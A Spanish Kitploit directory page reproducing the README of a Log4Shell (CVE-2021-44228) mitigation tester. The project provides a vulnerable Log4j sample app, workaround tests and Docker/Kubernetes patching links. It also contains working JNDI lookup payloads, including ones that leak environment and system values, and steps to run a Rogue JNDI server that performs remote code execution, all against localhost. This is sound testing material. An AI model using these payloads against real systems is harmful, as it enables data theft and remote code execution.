Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4shell-mitigation-tester — Prueba y valida los enfoques de mitigación de Log4Shell (CVE-2021-44228) con una aplicación Log4j vulnerable de muestra, incluyendo la explotación de JNDI, soluciones alternativas con variables de entorno y parcheo en Docker/Kubernetes. | Kitploit
Herramientas/GitHubGitHub/lhotari/log4shell-mitigation-tester
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Prueba y valida los enfoques de mitigación de Log4Shell (CVE-2021-44228) con una aplicación Log4j vulnerable de muestra, incluyendo la explotación de JNDI, soluciones alternativas con variables de entorno y parcheo en Docker/Kubernetes.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1613hace 4 añosAún no revisado

Probador de mitigación Log4Shell

Esta es una aplicación de ejemplo que utiliza Log4j 2.14.1.

código fuente: App.java

El propósito de esto es poder probar diferentes enfoques de mitigación. Los enfoques de mitigación también se mencionan en la respuesta de Microsoft a CVE-2021-44228 Apache Log4j 2.

Ejemplo de uso

Los ejemplos son para un shell bash

construir la aplicación

root@kitploit:~
./gradlew assemble

Ejecutar sin solución alternativa

root@kitploit:~
java -jar app/build/libs/app-all.jar

Probar la función de búsqueda de mensajes pasando una cadena en la línea de comandos:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

Probar la solución alternativa de la propiedad del sistema -Dlog4j2.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

Probar la solución alternativa de la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true, https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

Probar la solución alternativa de la variable de entorno JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true, https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

Probar la solución alternativa de log4j2.component.properties en el classpath:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

Ver para creer - explotar esta aplicación de ejemplo

Cuando ejecutes la aplicación, verás la vulnerabilidad en acción:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

También puedes depurar la solución y colocar un punto de interrupción en el código vulnerable que está en https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

El depurador se establece en la clase org.apache.logging.log4j.core.pattern.MessagePatternConverter en la línea 128.

Cuando la mitigación está activa, el depurador nunca debería entrar en el bloque de código. La llamada LDAP tampoco debería intentarse:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Explotación con Rogue JNDI

La demostración de fuga de información depende de los cambios en https://github.com/veracode-research/rogue-jndi/pull/11

en una terminal

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

en otra terminal:

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Soluciones de mitigación para Log4Shell en Kubernetes / Docker

Es necesario mitigar Log4Shell de inmediato sin esperar una nueva versión del software. Aquí hay algunas soluciones para hacerlo rápida y efectivamente.

Parchear imágenes docker existentes con una superposición delgada que establece la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Esta es una solución genérica: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Ejemplo de parcheo de imágenes docker existentes con archivos jar de Log4j 2.15.0

Esto no es genérico, el ejemplo es de apache/pulsar: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

Parchear despliegues de k8s con la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

Descargar herramienta